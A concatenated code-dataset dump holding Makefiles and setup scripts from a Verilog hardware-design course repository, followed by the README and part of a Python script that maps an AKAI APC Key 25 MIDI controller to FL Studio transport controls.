./simv +ntb_random_seed=$(SEED) -l sim.log
dve:
dve -vpd vcdplus.vpd &
clean:
rm -rf csrc* simv* *.tmp *.key *.vpd *.log DVEfiles coverage *.vdb *hdrs.v core.*
<file_sep>/seller_fsm/syn/Makefile
clean:
rm -rf *.log *.svf *.pvl *.syn *.mr *.v *.sdf *.rpt *Synth *.ddc WORK
<file_sep>/clock_switch/cdc/Makefile
DESIGN = clock_switch_ICG
cdc_setup:
spyglass -project $(DESIGN).prj -goals "cdc/cdc_setup_check" -batch
cdc_verify:
spyglass -project $(DESIGN).prj -goals "cdc/cdc_verify_struct" -batch
gui:
spyglass -project $(DESIGN).prj &
clean:
rm -rf chip_lib *.log *_results
ms:
find ./ -name *moresimple*
<file_sep>/clock_switch/sim/Makefile
.PHONY: run compile simulate dve clean
#########################################
#RTL_ori = ./../rtl/clock_switch.v
#TB_ori = ./../tb/clock_switch_tb.v
#TIME = ./../tb/timescale.v
#RTL_hier = ./../rtl/clock_switch_hier.v
#TB_hier = ./../tb/clock_switch_hier_tb.v
#########################################
DESIGN = clock_switch_ICG
FILE = v_list.f
ALL_DEFINE = +define+DUMP_VPD
# Code coverage command
CM = -cm line+cond+fsm+branch+tgl
CM_NAME = -cm_name $(DESIGN)
CM_DIR = -cm_dir ./$(DESIGN).vdb
# VPD file name
VPD_NAME = +vpdfile+$(DESIGN).vpd
# Compile command
# -fsdb
VCS = vcs +v2k -override_timescale=1ns/100ps \
-full64 \
-fsdb \
-debug_all \
-sverilog \
+nospecify \
+vcs+flush+all \
$(CM) \
$(CM_NAME) \
$(CM_DIR) \
$(ALL_DEFINE) \
$(VPD_NAME) \
-o $(DESIGN) \
-l compile.log
# Simulation command
SIM = ./$(DESIGN) \
+ntb_random_seed_automatic \
$(CM) $(CM_NAME) $(CM_DIR) \
$(VPD_NAME) \
$(ALL_DEFINE) \
-l $(DESIGN).log
run: compile simulate
compile:
$(VCS) -f $(FILE)
simulate:
$(SIM)
dve:
dve -full64 -vpd $(DESIGN).vpd &
cov:
dve -full64 -covdir *vdb &
debug:
verdi -f v_list.f -ssf $(DESIGN).fsdb &
#run_hier:
# vcs -R -sverilog -debug_all $(TIME) $(RTL_hier) $(TB_hier) -l run.log
#compile:
# vcs -sverilog -debug_all $(TIME) $(RTL_ori) $(TB_ori) -l com.log
#simulate:
# ./simv +ntb_random_seed=$(SEED) -l sim.log
clean:
rm -rf verdiLog novas.* *.fsdb csrc* simv* *.daidir *.tmp *.key *.vpd *.vdb *.log DVEfiles coverage *.vdb *hdrs.v core.* $(DESIGN)
<file_sep>/AHB_SLV/old_answer/sim_vsim/Makefile
copy_case:
cp -rf ../tc/${TC}.v testcase.v
create_lib:
vlib work
compile:
vlog -l comp.log -f rtl.list -f tb.list
sim:
vsim -l sim.log -c -novopt ahb_clac_top_tb -do "run -all"
clean:
rm -rf csrc simv.daidir ucli.key vcdplus.vpd simv ccc
<file_sep>/git_setup.sh
#!/bin/sh
source ~/.bashrc
echo "Enter your design name:"
read design
design_dir=./${design}
rtl_dir=./${design}/rtl
tb_dir=./${design}/tb
sim_dir=./${design}/sim
syn_dir=./${design}/syn
lib_dir=./${design}/library
cdc_dir=./${design}/cdc
#Verilog
rtl_v=${rtl_dir}/*.v
tb_v=${tb_dir}/*.v
tb_sv=${tb_dir}/*.sv
#Simulation
sim_make=${sim_dir}/Makefile
sim_file=${sim_dir}/*.f
#Synthesis
syn_make=${syn_dir}/Makefile
#syn_lib=${lib_dir}/sc_max.db
syn_scr=${syn_dir}/*.tcl
sdc_scr=${syn_dir}/*.sdc
setup_scr=${syn_dir}/.synopsys_dc.setup
#syn_rpt=${syn_dir}/*.rpt
#CDC check
cdc_make=${cdc_dir}/Makefile
cdc_prj=${cdc_dir}/*.prj
cdc_file=${cdc_dir}/*.lst
cdc_sdc=${cdc_dir}/sdc/*.sdc
cdc_sgdc=${cdc_dir}/sgdc/*.sgdc
cdc_swl=${cdc_dir}/waiver/*.swl
cdc_awl=${cdc_dir}/waiver/*.awl
file_list=( $rtl_v $tb_v $tb_sv $sim_make $sim_file $syn_make $syn_scr $sdc_scr $setup_scr )
cdc_list=( $cdc_make $cdc_prj $cdc_file $cdc_sdc $cdc_sgdc $cdc_swl $cdc_awl )
if [ -d ${design_dir} ]; then
echo "${design} files are uploading..."
for file in ${file_list[@]}; do
git add $file
done
#add CDC
if [ -d ${cdc_dir} ]; then
echo "${design} cdc files are uploading..."
for file in ${cdc_list[@]}; do
git add $file
done
else
echo "${design} cdc files do not exist"
fi
git commit -m "${design} files"
git push origin master
else
echo "${design} files do not exist"
fi
<file_sep>/linebuffer/sim/Makefile
.PHONY: run com sim dve clean
DESIGN = top3buf
FILE = v_list.f
#FILE = v_ori_list.f
ALL_DEFINE = +define+DUMP_VPD
# Code coverage command
CM = -cm line+cond+fsm+branch+tgl
CM_NAME = -cm_name $(DESIGN)
CM_DIR = -cm_dir ./$(DESIGN).vdb
# VPD file name
VPD_NAME = +vpdfile+$(DESIGN).vpd
# Compile command
VCS = vcs +v2k -override_timescale=1ns/100ps \
-full64 \
-fsdb \
-debug_all \
-sverilog \
+nospecify \
+vcs+flush+all \
$(CM) \
$(CM_NAME) \
$(CM_DIR) \
$(ALL_DEFINE) \
$(VPD_NAME) \
-o $(DESIGN) \
-l compile.log
# Simulation command
SIM = ./$(DESIGN) \
+ntb_random_seed_automatic \
$(CM) $(CM_NAME) $(CM_DIR) \
$(VPD_NAME) \
$(ALL_DEFINE) \
-l $(DESIGN).log
all_dbg: clean run debug
run: com sim
com:
$(VCS) -f $(FILE)
sim:
$(SIM)
#run_hier:
# vcs -full64 -R -sverilog -debug_all +lint=TFIPC-L -f v_top.f -l run_hier.log
dve:
dve -full64 -vpd vcdplus.vpd &
cov:
dve -full64 -covdir *vdb &
debug:
verdi \
-sv \
-f v_list.f \
-nologo \
-ssf $(DESIGN).fsdb &
clean:
rm -rf verdiLog novas.* *.fsdb csrc* simv* *.daidir *.tmp *.key *.vpd *.vdb *.log DVEfiles coverage *.vdb *hdrs.v core.* $(DESIGN)
<file_sep>/AHB_SLV/old_answer/sim/Makefile
TC=tc_and
COV_OPTION = -cm line+cond+fsm+tgl+branch
COV_OPTION += -cm_dir ${TC}_cov
#COV_OPTION =
VERDI_OPTION = /qixin/eda/synopsys/verdi/2014.03/share/PLI/VCS/LINUX
copy_case:
cp -rf ../tc/${TC}.v testcase.v
run_rtl:
vcs -f rtl.list -f tb.list +v2k -timescale=1ns/1ps +define+FSDB_ON -debug_pp -P ${VERDI_OPTION}/novas.tab ${VERDI_OPTION}/pli.a +memcbk ${COV_OPTION} -Mupdate -R -l sim.log
run_rtl_sv:
vcs -f rtl.list -f tb.list -f env.list +v2k -sverilog -timescale=1ns/1ps +define+VPD_ON -debug_all ${COV_OPTION} -Mupdate -R -l sim.log
clean:
rm -rf csrc simv.daidir ucli.key vcdplus.vpd simv ccc
merge:
urg -dbname aaa -dir *.vdb
clean_run:clean copy_case run_rtl
<file_sep>/rtl_setup.sh
#!/bin/sh
source ~/.bashrc
echo "Enter your design name:"
read design
ori_dir=/qixin/proj_users/swru/verilog_labs/linebuffer #to be modified
ori_design=top3buf
syn_ori=${ori_dir}/syn
sim_ori=${ori_dir}/sim
design_dir=./${design}
rtl_dir=./${design}/rtl
tb_dir=./${design}/tb
sim_dir=./${design}/sim
syn_dir=./${design}/syn
lib_dir=./${design}/library
ori_syn_scr=${syn_ori}/syn.tcl
ori_sdc_scr=${syn_ori}/syn.sdc
setup_scr=${syn_ori}/.synopsys_dc.setup
syn_make=${syn_ori}/Makefile
syn_lib=${ori_dir}/library/sc_max.db
sim_time=${ori_dir}/tb/timescale.v
ori_sim_make=${sim_ori}/Makefile
syn_scr=${syn_dir}/syn.tcl
sdc_scr=${syn_dir}/sdc.tcl
sim_make=${sim_dir}/Makefile
sim_file=${sim_dir}/v_list.f
dir_list=( $design_dir $rtl_dir $tb_dir $sim_dir $syn_dir $lib_dir )
scr_list=( $ori_syn_scr $ori_sdc_scr $setup_scr $syn_make )
if [ ! -d ${design_dir} ]; then
echo "${design} working directory is setting up..."
for dir in ${dir_list[@]}; do
mkdir $dir
done
for scr in ${scr_list[@]}; do
\cp -rf $scr $syn_dir
done
\cp -rf $syn_lib $lib_dir
\cp -rf $ori_sim_make $sim_dir
\cp -rf $sim_time $tb_dir
touch ${rtl_dir}/${design}.v ${tb_dir}/${design}_tb.sv ${sim_file}
sed -i "s/${ori_design}/${design}/g" $sim_make $syn_scr #$sim_file
else
echo "${design} exists, try another one"
fi
<file_sep>/seq_det_fsm/sim/Makefile
RTL = ./../rtl/seq_det_fsm.v
TB = ./../tb/seq_det_fsm_tb.v
TIME = ./../tb/timescale.v
RTL_MEALY = ./../rtl/seq_det_fsm_mealy.v
TB_MEALY = ./../tb/seq_det_fsm_mealy_tb.v
run: compile simulate
run_mealy:
vcs -R -sverilog -debug_all ${TIME} ${RTL_MEALY} ${TB_MEALY} -l run_mealy.log
compile:
vcs -sverilog -debug_all $(TIME) $(RTL) $(TB) -l com.log
simulate:
./simv +ntb_random_seed=$(SEED) -l sim.log
dve:
dve -vpd vcdplus.vpd &
clean:
rm -rf csrc* simv* *.tmp *.key *.vpd *.log DVEfiles coverage *.vdb *hdrs.v core.*
<file_sep>/AHB_SRAMC/answer/sim/Makefile
TC=
COV_OPTION = -cm line+cond+fsm+tgl+branch
COV_OPTION += -cm_dir ${TC}_cov
VPD_OPTION = -debug_pp
VPD_OPTION += +define+VPD_ON
#TIMING_OPTION = +nospecify
TIMING_OPTION = +notimingcheck
#TIMING_OPTION =
copy_case:
cp -rf ../tc/${TC}.v testcase.v
run_rtl_cov:
vcs -f model.list -f rtl.list -f tb.list -timescale=1ns/1ps ${COV_OPTION} -v2005 +v2k ${VPD_OPTION} ${TIMING_OPTION} -Mupdate -R -l sim.log
run_rtl:
vcs -f model.list -f rtl.list -f tb.list -timescale=1ns/1ps -v2005 +v2k ${VPD_OPTION} ${TIMING_OPTION} -Mupdate -R -l sim.log
clean:
rm -rf *simv *.vpd *.simdb *.rc *csrc *.daidir *.log *DVEfiles *key
clean_run:clean run_rtl
help:
@echo =========================================================================================================
@echo " "
@echo "--------USAGE:make clean.run -------"
@echo " "
@echo "------------------------------------------DEBUG TARGETS------------------------------------------------"
<file_sep>/README.md
# verilog_labs
verilog_labs in eecourse
<file_sep>/Mem1kx32/syn/Makefile
clean:
rm -rf *.log *.svf *.pvl *.syn *.mr *.v *.sdf *Synth *.ddc WORK
run:
dc_shell -gui -f syn.tcl | tee -i syn.log
<file_sep>/mul_unsigned/sim/Makefile
RTL = ./../rtl/mul_unsigned.v
TB = ./../tb/mul_unsigned_tb.v
RTL_FOR = ./../rtl/mul_unsigned_for.v
TB_FOR = ./../tb/mul_unsigned_for_tb.v
RTL_FOR4 = ./../rtl/mul_unsigned_for4.v
TB_FOR4 = ./../tb/mul_unsigned_for4_tb.v
RTL_untree = ./../rtl/mul_unsigned_untree.v
TB_untree = ./../tb/mul_unsigned_untree_tb.v
RTL_fixed = ./../rtl/mul_fixed.v
TB_fixed = ./../tb/mul_fixed_tb.v
RTL_pipeline = ./../rtl/mul_unsigned_pipeline.v
TB_pipeline = ./../tb/mul_unsigned_pipeline_tb.v
TIME = ./../tb/timescale.v
run: compile simulate
run_for:
vcs -R -sverilog -debug_all $(TIME) $(RTL_FOR) $(TB_FOR) -l run.log
run_for4:
vcs -R -sverilog -debug_all $(TIME) $(RTL_FOR4) $(TB_FOR4) -l run.log
run_untree:
vcs -R -sverilog -debug_all $(TIME) $(RTL_untree) $(TB_untree) -l run.log
run_fixed:
vcs -R -sverilog -debug_all $(TIME) $(RTL_fixed) $(TB_fixed) -l run.log
run_pipeline:
vcs -R -sverilog -debug_all $(TIME) $(RTL_pipeline) $(TB_pipeline) -l run.log
compile:
vcs -sverilog -debug_all $(TIME) $(RTL) $(TB) -l com.log
simulate:
./simv +ntb_random_seed=$(SEED) -l sim.log
dve:
dve -vpd vcdplus.vpd &
clean:
rm -rf csrc* simv* *.tmp *.key *.vpd *.log DVEfiles coverage *.vdb *hdrs.v core.*
| 6a65dc1e186e5861eedba37f7624afcf7ab1bf02 | [
"Markdown",
"Makefile",
"Shell"
] | 16 | Makefile | jackxu1993-github/verilog_labs | 9a5bf6a5473c14c25e9745c043bf216e3f05f12a | 17e16ec7ccb93319825ac355039f3776d1c8a470 |
refs/heads/master | <repo_name>Aleja612/Front3<file_sep>/parcial/src/components/Opciones.jsx
import React from "react";
class Opciones extends React.Component{
render(){
return(
<React.Fragment>
<div className="opciones">
<div className="opcion">
<button className="botones" onClick={()=>this.props.funcionPersonalizada("a")}>{this.props.botonA.toUpperCase()} </button>
<h2>{this.props.botonAtext}</h2>
</div>
<div className="opcion">
<button className="botones" onClick={()=>this.props.funcionPersonalizada("b")}>{this.props.botonB.toUpperCase()}</button>
<h2>{this.props.botonBtext}</h2>
</div>
</div>
</React.Fragment>
)
}
}
export default Opciones;<file_sep>/parcial/src/components/Recordatorio.jsx
import React from "react";
class Recordatorio extends React.Component{
render(){
return(
<div className="recordatorio">
<h3>Selección anterior: {this.props.desicion}</h3>
<h4>Historial de opciones elegidas: </h4>
<ul>
{this.props.arrayDecisiones.map((element,index)=><li key={index+element}>{element}</li>)}
</ul>
</div>
)
}
}
export default Recordatorio;<file_sep>/parcial/src/App.jsx
import React from "react";
import Historia from "./components/Historia";
import Opciones from "./components/Opciones";
import data from"./data.json";
import Recordatorio from "./components/Recordatorio";
class App extends React.Component {
constructor(props){
super(props)
this.state={
contador:1,
desicion:"",
acumulado:[]
}
this.actualizar=this.actualizar.bind(this);
}
actualizar(opcion){
let nuevoArreglo=this.state.acumulado
if(nuevoArreglo.length==0) {nuevoArreglo=[opcion]}
else{nuevoArreglo.push(opcion)}
this.setState({
contador: this.state.contador+1,
desicion:opcion,
acumulado:nuevoArreglo
})
}
filtro(){
const id =this.state.contador+this.state.desicion;
const array=data.filter((element)=>element.id===id)
return array[0];
}
render(){
return (
<div className="App">
{this.state.contador<=5?
<div className="layout">
<Historia >{this.filtro().historia}</Historia>
<Opciones funcionPersonalizada={this.actualizar} botonA="a" botonB="b" botonAtext={this.filtro().opciones.a} botonBtext={this.filtro().opciones.b}/>
<Recordatorio desicion={this.state.desicion} arrayDecisiones={this.state.acumulado}></Recordatorio>
</div>
:alert("Fin")}
</div>
);
}
}
export default App;
| 3b865c2ce5d2b0b93289c281da8e124aae3d071b | [
"JavaScript"
] | 3 | JavaScript | Aleja612/Front3 | 1dcd291b4650cc8fb79ed25a0ae1f92b5d9ca505 | f56a72b33c816ac0bada1596c15ca8ccc62ce464 |
refs/heads/main | <file_sep>import os
import random
import string
import threading
import time
from queue import Queue
import platform
import requests
from colorama import Fore, init
intro = """
███████╗████████╗██████╗ ███████╗ █████╗ ███╗ ███╗ ██████╗ ██████╗ ████████╗████████╗███████╗██████╗
██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔══██╗████╗ ████║ ██╔══██╗██╔═══██╗╚══██╔══╝╚══██╔══╝██╔════╝██╔══██╗
███████╗ ██║ ██████╔╝█████╗ ███████║██╔████╔██║█████╗██████╔╝██║ ██║ ██║ ██║ █████╗ ██████╔╝
╚════██║ ██║ ██╔══██╗██╔══╝ ██╔══██║██║╚██╔╝██║╚════╝██╔══██╗██║ ██║ ██║ ██║ ██╔══╝ ██╔══██╗
███████║ ██║ ██║ ██║███████╗██║ ██║██║ ╚═╝ ██║ ██████╔╝╚██████╔╝ ██║ ██║ ███████╗██║ ██║
╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
https://github.com/SquirkHades/youtube-view-bot/
"""
print(intro)
if platform.system() == "Windows": #checking OS
clear = "cls"
else:
clear = "clear"
iPhone_UA = ("Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16D57",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1")
proxy_loading = input("[1] Load Proxys from APIs\n[2] Load Proxys from proxys.txt\n")
token = input("ID of your video/live")
class main(object):
def __init__(self):
self.combolist = Queue()
self.Writeing = Queue()
self.printing = []
self.botted = 0
self.combolen = self.combolist.qsize()
def printservice(self): #print screen
while True:
if True:
os.system(clear)
print(Fore.LIGHTCYAN_EX + intro + Fore.LIGHTMAGENTA_EX)
print(
Fore.LIGHTCYAN_EX + f"Botted:{self.botted}\n")
for i in range(len(self.printing) - 10, len(self.printing)):
try:
print(self.printing[i])
except (ValueError, Exception):
pass
time.sleep(0.5)
a = main()
class proxy():
global proxy_loading
def update(self):
while True:
if proxy_loading == "2":
data = ''
data = open("proxys.txt", "r").read()
self.splited += data.split("\n") #scraping and splitting proxies
else:
data = ''
urls = ["https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt","https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&ssl=yes","https://www.proxy-list.download/api/v1/get?type=https&anon=elite"]
for url in urls:
try:
data += requests.get(url).text
self.splited += data.split("\n")
self.splited = [s.replace('\r', "") for s in self.splited]
except:
print("Proxy loading failed!")
pass
time.sleep(600)
def get_proxy(self):
random1 = random.choice(self.splited) #choose a random proxie
return random1
def FormatProxy(self):
proxyOutput = {'https' :'https://'+self.get_proxy()}
return proxyOutput
def __init__(self):
self.splited = []
threading.Thread(target=self.update).start()
time.sleep(3)
proxy1 = proxy()
def bot():
while True:
try:
ua = random.choice(iPhone_UA)
s = requests.session()
random_proxy = proxy1.FormatProxy()
resp = s.get("https://m.youtube.com/watch?v=" + token + "?disable_polymer=1",headers={'Host': 'm.youtube.com', 'Proxy-Connection': 'Keep-Alive', 'User-Agent': ua, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Pragma': 'no-cache'},proxies=random_proxy) # simple get request to youtube for the base URL
url = resp.text.split(r'videostatsWatchtimeUrl\":{\"baseUrl\":\"')[1].split(r'\"}')[0].replace(r"\\u0026",r"&").replace('%2C',",").replace("\/","/") #getting the base url for parsing
cl = url.split("cl=")[1].split("&")[0] #parsing some infos for the URL
ei = url.split("ei=")[1].split("&")[0]
of = url.split("of=")[1].split("&")[0]
vm = url.split("vm=")[1].split("&")[0]
s.get("https://s.youtube.com/api/stats/watchtime?ns=yt&el=detailpage&cpn=isWmmj2C9Y2vULKF&docid=" + token + "&ver=2&cmt=7334&ei=" + ei + "&fmt=133&fs=0&rt=1003&of=" + of +"&euri&lact=4418&live=dvr&cl=" + cl + "&state=playing&vm=" + vm + "&volume=100&c=MWEB&cver=2.20200313.03.00&cplayer=UNIPLAYER&cbrand=apple&cbr=Safari%20Mobile&cbrver=12.1.15E148&cmodel=iphone&cos=iPhone&cosver=12_2&cplatform=MOBILE&delay=5&hl=ru&cr=GB&rtn=1303&afmt=140&lio=1556394045.182&idpj=&ldpj=&rti=1003&muted=0&st=7334&et=7634",headers={'Host': 's.youtube.com', 'Proxy-Connection': 'Keep-Alive', 'User-Agent': ua, 'Accept': 'image/png,image/svg+xml,image/*;q=0.8,video/*;q=0.8,*/*;q=0.5', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Referer': 'https://m.youtube.com/watch?v=' + token},proxies=random_proxy) # API GET request
a.botted += 1
except:
pass
maxthreads = int(input("How many Threads? Recommended: 500 - 1000\n"))
threading.Thread(target=a.printservice).start()
num = 0
while num < maxthreads :
num += 1
threading.Thread(target=bot).start()
threading.Thread(target=bot).start()
<file_sep># youtube-view-bot
# 1.0 Instructions for Windows/Linux (.py / Python)
- Download the ".py" variant of the program.
- Double click or right click -> edit with IDLE
- Press "F5" to run the program
- Enter the ID of a YouTube livestream
- Enter an amount of threads
- See the viewers rise!
# 3.0 Whats the ID of a Livestream?
YouTube URLs look something like this => https://www.youtube.com/watch?v=dQw4w9WgXcQ <br />
Then _dQw4w9WgXcQ_ would be the ID of the video.
| d8447df771a77056c65424b59387e75f0ea3e580 | [
"Markdown",
"Python"
] | 2 | Python | SquirkHades/youtube-view-bot | 1c71a1be7a036fdc25c2a80ba81744eb2f26130e | f969bdb4d6e923c49e6868827b04cb4a8fc1bcd4 |
refs/heads/master | <file_sep># SL_VAD
VAD
m.mat:存储mfcc数据集的文件
l.mat:存储mfcc标签的文件
<file_sep>from Tools import Main_Tools, SOM_Tools
path1 = 'm.mat'#mfcc文件路径
path2 = 'l.mat'#端点标签路径
x = 1#som拓扑结构
y = 1
sigma=0.05
learning_rate=0.1
epoch = 100#迭代次数
if __name__ == "__main__":
get_data = Main_Tools(path1, path2, x, y, sigma, learning_rate, epoch)
mfcc_data = get_data.get_mfcc()#获取mfcc数据
som_data = get_data.get_som()#获取聚类数据
label_data = get_data.get_label()#获取标签数据
clusters = SOM_Tools(mfcc_data, som_data)
one_hot_label = clusters.get_one_hot(label_data)<file_sep>#工具类
#涉及到的数据均为numpy格式
import sklearn,scipy,numpy
from minisom import MiniSom
class Main_Tools(object):#主要的工具,负责初始阶段特征数据集和聚类数据集的获取
def __init__(self, path1, path2, x, y, sigma, learning_rate, epoch):#为了保持数据的统一,采用的数据集为Kaldi提供的MFCC特征数据集,特征参数量为20,输入其路径,且mat文件只存在一个变量mfcc
self.path1 = path1
self.path2 = path2
self.x = x#SOM结构
self.y = y
self.sigma = sigma
self.learning_rate = learning_rate
self.epoch = epoch#SOM迭代次数
def get_mfcc(self):#获取mat文件内的MFCC特征数据集
mfcc_dict = scipy.io.loadmat(self.path1)#从路径导入mat文件,此时为字典格式
mfcc = mfcc_dict['mfcc']#读取其中的变量获得数据,数据依然为numpy格式
return mfcc
def get_som(self):#基于MFCC特征数据集获得聚类数据集
mfcc = self.get_mfcc()
som=MiniSom(self.x, self.y, input_len=20, sigma=self.sigma, learning_rate=self.learning_rate)#输入拓扑网络结构,输入向量长度对应特征数量,SOM中不同相邻节点的半径定义为0.1,迭代期间权重的的调整幅度定义为0.2
som.random_weights_init(mfcc)#将SOM的权重初始化为小的标准化随机值
som.train_random(mfcc, self.epoch)
som_data = som.quantization(mfcc)#将mfcc特征数据用类簇数据替换
return som_data#输出聚类数据集
def get_label(self):
label_dict = scipy.io.loadmat(self.path2)
label = label_dict['label']
return label
class Base_Tools(object):#处理数据的基础工具
def __init__(self, data, s_data):#输入MFCC特征数据集和聚类后的数据集
self.data = data
self.s_data = s_data
def Z_Score(self):#输入二维数组,标准化处理数据
z_data = sklearn.preprocessing.scale(self.data, axis=1)
return z_data
def get_sort(self):#输入二维数组,升序排列每行数据
s_data = numpy.sort(self.data)
return s_data
def data_unique(self):#输入二维数组,去除重复行
unique_data = numpy.unique(self.data)
return unique_data
def one_hot(self):#输入SOM拓扑网络(x,y),设计与之对应的独热编码,该独热编码的设定仅仅建立在SOM神经网络的拓扑节点为一维结构
x = self.data.shape(0)
y = self.data.shape(1)
z = x*y
one_hot_label = numpy.zeros(z,z)
for i in range(z):
one_hot_label[i][i] = 1
return one_hot_label
class SOM_Tools(Base_Tools):#处理聚类数据的工具
def get_clusters(self, label_data):#输入原数据,聚类数据和端点标签
unique_data = Base_Tools.data_unique(self.s_data)#删除重复行后,二维数组仅由类簇构成
s_list = []#构建类簇数据列表
l_list = []#构建类簇数据对应的标签列表
sequence_list = []#构建序号列表
for i in unique_data:
temp = []#构建临时列表
temp_label = []
temp_sequence=[]
for a,b in enumerate(self.s_data):
if b == i:
temp.append(self.s_data[a])
temp_label.append([label_data[a]])
temp_sequence.append(a)
sequence_list.append(temp_sequence)
s_list.append(temp)
l_list.append(temp_label)
return s_list, l_list, sequence_list#输出类簇构成的列表和对应的端点列表
def get_clusters_probability(self, label_data):#输入原数据,聚类数据和端点标签
clusters_list, clusters_label = self.get_clusters(label_data)#获得类簇列表和对用的端点列表
probability=[]
for i in clusters_label:#端点列表由各类簇端点列表构成
pr=sum(i)/len(i)#由于类簇端点列表由0和1组成,因此可根据长度和和判断语音标签的占比
probability.append(pr)
return probability#输出基于各类簇端点列表获得各类簇语音端点占比的概率列表
def get_one_hot(self, label_data):#输入原数据,聚类数据和端点标签
clusters_list, clusters_label, clusters_sequence = self.get_clusters(label_data)#获得类簇列表和对用的端点列表,以及存有类簇中对应的时间序列序号的列表
one_hot_data = Base_Tools.one_hot(self.data)#构建独热编码不需要考虑其概率分布大小,独热编码的顺序和类簇顺序没关联
count = 0#计数器
one_hot_list = numpy.zeros((len(label_data),len(one_hot_data)))
for i in clusters_sequence:
for j in i:
one_hot_list[j] = one_hot_data[count]
count += 1
return one_hot_list#输出基于每个时间节点与类簇的对应关系实现的独热编码 | 98710cf2ba32ccf217d3eeb88a40505c3e0e885c | [
"Markdown",
"Python"
] | 3 | Markdown | roadroc/SL_VAD | a23d6bfb4aff2d9dd75220026415af5fd89d91a1 | f40b433a4d552991758bca93c096f7870b3750c8 |
refs/heads/master | <repo_name>CarlosM1106/FLSKEY25<file_sep>/README.md
# FLSKEY25
Python script to integrate the AKAI APC Key 25 with FL Studio
Please see https://forum.image-line.com/viewtopic.php?f=1994&t=225886 for more info
<file_sep>/device_APCKey25.py
# name=Akai APC Key 25
# url=https://forum.image-line.com/viewtopic.php?f=1994&t=225886
# Author: <NAME>
# Changelog:
# 23/04/2020 0.01: Implement Play/Pause Button (AKFSM-2)
# 23/04/2020 0.02: Clean up code and handle Note Off
# 23/04/2020 0.03: Add Record and Pattern/Song toggle
# 24/04/2020 0.04: More refactoring, making it easier to map and implement new stuff.
# 02/05/2020 0.05: Implement stuff for calling LEDs on the controller. The played note gets passed to the method.
# 03/05/2020 0.06: Basic fast forward functionality using playback speed. Time in FL studio seems to be mismatched.
# Lights work.
# Mode switching now using shift modifier.
# 08/05/2020 0.07: fastForward/rewind implemented using transport.fastForward/transport.rewind
# kill LEDs when exiting FL Studio
# This import section is loading the back-end code required to execute the script. You may not need all modules that are available for all scripts.
import transport
import mixer
import ui
import midi
import sys
import device
#definition of controller modes
ctrlUser = 0
ctrlTransport = 1
ctrlMixer = 2
ctrlBrowser = 3
ctrlPattern = 4
ctrlPlaylist = 5
controllerMode = 0
# Shift Modifier and Button definition
shiftModifier = 0
shiftButton = 98
#LED colorCodes, for blink add 1 to the value
green = 1
red = 3
yellow = 5
class InitClass():
def startTheShow(self):
#set global transport mode
print ("Welcome Friends!")
shiftAction = ShiftAction()
shiftAction.setTransportMode(82) #need to set the note manually, since no note was actually played.
class MidiInHandler():
# dictionary mapping
def noteDict(self, i):
#dictionary with list of tuples for mapping note to class and method
dict={
91:[("GlobalAction", "togglePlay")], # PLAY/PAUSE button on controller
93:[("GlobalAction", "toggleRecord")], # REC button on controller
82:[("ShiftAction", "setTransportMode")], #CLIP STOP button on controller
83:[("ShiftAction", "setMixerMode")], #SOLO button on controller
84:[("ShiftAction", "setBrowserMode")],
85:[("ShiftAction", "setPatternMode")],
86:[("ShiftAction", "setPlayListMode"), ("TransportAction", "toggleLoopMode")],
81:[("ShiftAction", "setUserMode")],
66:[("TransportAction", "pressRewind"), ("ReleaseAction", "releaseRewind")],
67:[("TransportAction", "pressFastForward"), ("ReleaseAction", "releaseFastForward")]
}
print("Note: " + str(i))
return dict.get(i,[("notHandled", "")])
def callAction(self, actionType, action, note):
